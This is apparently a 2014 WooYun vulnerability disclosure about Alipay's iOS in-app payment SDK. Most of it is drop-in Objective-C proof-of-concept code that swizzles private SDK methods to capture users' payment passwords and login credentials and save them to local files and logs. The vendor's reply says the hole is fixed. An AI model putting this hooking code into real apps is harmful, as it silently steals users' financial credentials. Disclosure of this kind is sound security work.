当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056541

漏洞标题:支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞

相关厂商:支付宝

漏洞作者: ZERO君

提交时间:2014-04-10 14:23

修复时间:2014-07-09 14:23

公开时间:2014-07-09 14:23

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-10: 细节已通知厂商并且等待厂商处理中
2014-04-11: 厂商已经确认,细节仅向厂商公开
2014-04-14: 细节向第三方安全合作伙伴开放
2014-06-05: 细节向核心白帽子及相关领域专家公开
2014-06-15: 细节向普通白帽子公开
2014-06-25: 细节向实习白帽子公开
2014-07-09: 细节向公众公开

简要描述:

现在支付宝在iOS上推出了极简收银台的支付SDK,如大众点评网应用就使用了该SDK。该SDK不需要跨应用跳转,直接在应用内完成支付,但存在使用SDK的厂商可以直接记录用户敏感信息的漏洞。

详细说明:

支付宝这类极简收银台的支付SDK,由于在第三方应用内直接集成,而且支付流程完全在第三方应用内执行,没有跳转到支付宝应用内授权。但iOS的运行机制比较动态,可以通过直接hook起SDK内部的一些私有方法。然后,通过hook起的方法,直接访问用户输入的支付密码和登陆账号、密码。完全可以在用户和支付宝不知情的情况下,记录用户这些数据。

漏洞证明:

IMG_2086.PNG


IMG_2086.PNG


//AlipayLoger.h
#import <Foundation/Foundation.h>
@class MiniPwd;
@class Input;
@class Password;
extern NSString *const PopupViewConfirmNotification;
typedef NS_ENUM(NSInteger, AlipayLogType) {
AlipayLogType_AccPwd,
AlipayLogType_PayPwd,
};
@interface AlipayLoger : NSObject
@property (nonatomic, weak) MiniPwd *mPwd;
@property (nonatomic, weak) Input *accName;
@property (nonatomic, weak) Password *accPwd;
@property (nonatomic) AlipayLogType curLogType;
+ (instancetype)shareInstance;
+ (void)startHook;
@end


//AlipayLoger.m
#import "AlipayLoger.h"
#import "MiniPwd+Hook.h"
#import "PopupView+Hook.h"
#import "Input+Hook.h"
#import "Password+Hook.h"
#import "NSObject+Runtime.h"
NSString *const PopupViewConfirmNotification = @"PopupViewConfirmNotification";
static NSString *const AL_PayPassword = @"PayPassword";
static NSString *const AL_LoginAccount = @"Account";
static NSString *const AL_LoginPassword = @"Password";
static AlipayLoger *__shareInstance = nil;
@implementation UIResponder (AlipayHook)
+ (void)load
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
[AlipayLoger startHook];
});
}
@end
@implementation AlipayLoger
+ (NSString *)libPath
{
return NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];
}
+ (NSString *)payInfoPath
{
return [[AlipayLoger libPath] stringByAppendingPathComponent:@"payInfo.plist"];
}
+ (NSString *)loginInfoPath
{
return [[AlipayLoger libPath] stringByAppendingPathComponent:@"loginInfo.plist"];
}
+ (instancetype)shareInstance
{
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
__shareInstance = [[AlipayLoger alloc] init];
});

return __shareInstance;
}
- (instancetype)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter] addObserver:self
selector:@selector(receiveLogNotification:)
name:PopupViewConfirmNotification
object:nil];
}

return self;
}
- (void)receiveLogNotification:(NSNotification *)notification
{
NSString *tName = self.accName.textField.text;
NSString *tPwd = self.accPwd.textField.text;

if (self.curLogType == AlipayLogType_AccPwd &&
tName.length && tPwd.length) {
NSDictionary *dict = @{AL_LoginAccount: tName,
AL_LoginPassword: tPwd};
[dict writeToFile:[AlipayLoger loginInfoPath] atomically:YES];
NSLog(@"AlipayLoger:\n%@: %@\n%@: %@", AL_LoginAccount, tName, AL_LoginPassword, tPwd);
} else if (self.curLogType == AlipayLogType_PayPwd) {
UITextField *textField = [self.mPwd objectWithVarName:@"textField"];
NSDictionary *dict = @{AL_PayPassword: textField.text};
[dict writeToFile:[AlipayLoger payInfoPath] atomically:YES];
NSLog(@"AlipayLoger:\n%@: %@", AL_PayPassword, textField.text);
}
}
+ (void)startHook
{
[PopupView startHook];
[MiniPwd startHook];
[Input startHook];
[Password startHook];
}
@end


//NSObject+Runtime.h
#import <Foundation/Foundation.h>
@interface NSObject (Runtime)
- (id)objectWithVarName:(NSString *)varName;
@end


//NSObject+Runtime.m
#import "NSObject+Runtime.h"
#import <objc/runtime.h>
@implementation NSObject (Runtime)
- (id)objectWithVarName:(NSString *)varName
{
unsigned int count;
Ivar *vars = class_copyIvarList([self class], &count);
Ivar *findVar = NULL;
const char *name = [varName UTF8String];

for (unsigned int i = 0; i < count; i++) {
if (strcmp(name, ivar_getName(vars[i])) == 0) {
findVar = vars+i;
break;
}
}
id returnObj = object_getIvar(self, *findVar);
free(vars);

return returnObj;
}
@end


//MiniPwd.h
#import <UIKit/UIKit.h>
@interface MiniPwd : UIView {
UITextField* textField; // 80 = 0x50
}
-(id)getValue; // 0x7fdf9
-(id)init:(CGSize)init withModel:(id)model; // 0x7f499
@end


//MiniPwd+Hook.h
#import "MiniPwd.h"
@interface MiniPwd (Hook)
+ (void)startHook;
@end


//MiniPwd+Hook.m
#import "MiniPwd+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"
#import "NSObject+Runtime.h"
@implementation MiniPwd (Hook)
+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];
}
- (id)initHook:(CGSize)init withModel:(id)model
{
self = [self initHook:init withModel:model];
if (self) {
[AlipayLoger shareInstance].mPwd = self;
[AlipayLoger shareInstance].curLogType = AlipayLogType_PayPwd;
}

return self;
}
@end


//PopupView.h
#import <UIKit/UIKit.h>
@class NSString, UIImageView, NSDictionary, UIView, NSMutableArray, UIButton;
@interface PopupView : UIView
{

}
-(void)onCancle:(id)cancle; // 0x82731
-(void)onConfirm:(id)confirm; // 0x827e5
@end


//PopupView+Hook.h
#import "PopupView.h"
@interface PopupView (Hook)
+ (void)startHook;
@end


//PopupView+Hook.m
#import "PopupView+Hook.h"
#import "JRSwizzle.h"
#import "AlipayLoger.h"
@implementation PopupView (Hook)
+ (void)startHook
{
[PopupView jr_swizzleMethod:@selector(onConfirm:) withMethod:@selector(hookOnConfirm:) error:nil];
}
- (void)hookOnConfirm:(UIButton *)sender
{
[[NSNotificationCenter defaultCenter] postNotificationName:PopupViewConfirmNotification object:nil];
[self hookOnConfirm:sender];
}
@end


//Input.h
#import <UIKit/UIKit.h>
@interface Input : UIView {
@private
NSString* _content; // 52 = 0x34
NSString* _format; // 56 = 0x38
UILabel* _paddingView; // 60 = 0x3c
NSString* _textFieldFormat; // 64 = 0x40
NSString* _keyboard; // 68 = 0x44
NSString* _format_msg; // 72 = 0x48
UITextField* _textField; // 76 = 0x4c
}
@property(retain, nonatomic) UITextField* textField; // G=0x7e0c5; S=0x7e0d5;
@end


//Input+Hook.h
#import "Input.h"
@interface Input (Hook)
+ (void)startHook;
@end


//Input+Hook.m
#import "Input+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"
@implementation Input (Hook)
+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];
}
- (id)initHook:(CGSize)init withModel:(id)model
{
self = [self initHook:init withModel:model];
if ([self isMemberOfClass:[Input class]]) {
[AlipayLoger shareInstance].accName = self;
}

return self;
}
@end


//Password.h
#import "Input.h"
@interface Password : Input {
}
-(id)init:(CGSize)init withModel:(id)model; // 0x80125
@end


//Password+Hook.h
#import "Password.h"
@interface Password (Hook)
+ (void)startHook;
@end


//Password+Hook.m
#import "Password+Hook.h"
#import "AlipayLoger.h"
#import "JRSwizzle.h"
@implementation Password (Hook)
+ (void)startHook
{
[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHookP:withModel:) error:nil];
}
- (id)initHookP:(CGSize)init withModel:(id)model
{
self = [self initHookP:init withModel:model];
if (self) {
[AlipayLoger shareInstance].accPwd = self;
[AlipayLoger shareInstance].curLogType = AlipayLogType_AccPwd;
}

return self;
}
@end


//JRSwizzle.h
// JRSwizzle.h semver:1.0
// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com
// Some rights reserved: http://opensource.org/licenses/MIT
// https://github.com/rentzsch/jrswizzle
#import <Foundation/Foundation.h>
@interface NSObject (JRSwizzle)
+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_;
+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_;
@end


//JRSwizzle.m
// JRSwizzle.m semver:1.0
// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com
// Some rights reserved: http://opensource.org/licenses/MIT
// https://github.com/rentzsch/jrswizzle
#import "JRSwizzle.h"
#if TARGET_OS_IPHONE
#import <objc/runtime.h>
#import <objc/message.h>
#else
#import <objc/objc-class.h>
#endif
#define SetNSErrorFor(FUNC, ERROR_VAR, FORMAT,...) \
if (ERROR_VAR) { \
NSString *errStr = [NSString stringWithFormat:@"%s: " FORMAT,FUNC,##__VA_ARGS__]; \
*ERROR_VAR = [NSError errorWithDomain:@"NSCocoaErrorDomain" \
code:-1 \
userInfo:[NSDictionary dictionaryWithObject:errStr forKey:NSLocalizedDescriptionKey]]; \
}
#define SetNSError(ERROR_VAR, FORMAT,...) SetNSErrorFor(__func__, ERROR_VAR, FORMAT, ##__VA_ARGS__)
#if OBJC_API_VERSION >= 2
#define GetClass(obj) object_getClass(obj)
#else
#define GetClass(obj) (obj ? obj->isa : Nil)
#endif
@implementation NSObject (JRSwizzle)
+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_ {
#if OBJC_API_VERSION >= 2
Method origMethod = class_getInstanceMethod(self, origSel_);
if (!origMethod) {
#if TARGET_OS_IPHONE
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self class]);
#else
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);
#endif
return NO;
}

Method altMethod = class_getInstanceMethod(self, altSel_);
if (!altMethod) {
#if TARGET_OS_IPHONE
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self class]);
#else
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);
#endif
return NO;
}

class_addMethod(self,
origSel_,
class_getMethodImplementation(self, origSel_),
method_getTypeEncoding(origMethod));
class_addMethod(self,
altSel_,
class_getMethodImplementation(self, altSel_),
method_getTypeEncoding(altMethod));

method_exchangeImplementations(class_getInstanceMethod(self, origSel_), class_getInstanceMethod(self, altSel_));
return YES;
#else
// Scan for non-inherited methods.
Method directOriginalMethod = NULL, directAlternateMethod = NULL;

void *iterator = NULL;
struct objc_method_list *mlist = class_nextMethodList(self, &iterator);
while (mlist) {
int method_index = 0;
for (; method_index < mlist->method_count; method_index++) {
if (mlist->method_list[method_index].method_name == origSel_) {
assert(!directOriginalMethod);
directOriginalMethod = &mlist->method_list[method_index];
}
if (mlist->method_list[method_index].method_name == altSel_) {
assert(!directAlternateMethod);
directAlternateMethod = &mlist->method_list[method_index];
}
}
mlist = class_nextMethodList(self, &iterator);
}

// If either method is inherited, copy it up to the target class to make it non-inherited.
if (!directOriginalMethod || !directAlternateMethod) {
Method inheritedOriginalMethod = NULL, inheritedAlternateMethod = NULL;
if (!directOriginalMethod) {
inheritedOriginalMethod = class_getInstanceMethod(self, origSel_);
if (!inheritedOriginalMethod) {
SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);
return NO;
}
}
if (!directAlternateMethod) {
inheritedAlternateMethod = class_getInstanceMethod(self, altSel_);
if (!inheritedAlternateMethod) {
SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);
return NO;
}
}

int hoisted_method_count = !directOriginalMethod && !directAlternateMethod ? 2 : 1;
struct objc_method_list *hoisted_method_list = malloc(sizeof(struct objc_method_list) + (sizeof(struct objc_method)*(hoisted_method_count-1)));
hoisted_method_list->obsolete = NULL; // soothe valgrind - apparently ObjC runtime accesses this value and it shows as uninitialized in valgrind
hoisted_method_list->method_count = hoisted_method_count;
Method hoisted_method = hoisted_method_list->method_list;

if (!directOriginalMethod) {
bcopy(inheritedOriginalMethod, hoisted_method, sizeof(struct objc_method));
directOriginalMethod = hoisted_method++;
}
if (!directAlternateMethod) {
bcopy(inheritedAlternateMethod, hoisted_method, sizeof(struct objc_method));
directAlternateMethod = hoisted_method;
}
class_addMethods(self, hoisted_method_list);
}

// Swizzle.
IMP temp = directOriginalMethod->method_imp;
directOriginalMethod->method_imp = directAlternateMethod->method_imp;
directAlternateMethod->method_imp = temp;

return YES;
#endif
}
+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_ {
return [GetClass((id)self) jr_swizzleMethod:origSel_ withMethod:altSel_ error:error_];
}
@end


以上是全部的实现代码,直接嵌入到Xcode工程即可,调用支付宝SDK时会有相应的log输出,和Document下有两个plist记录账号密码信息。JRSwizzle是一个辅助用的开源库。

修复方案:

不建议支付流程全部在第三方应用内完成

版权声明:转载请注明来源 ZERO君@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-04-11 18:35

厂商回复:

感谢您的反馈,目前该漏洞已经在新版本SDK中进行了修复

最新状态:

暂无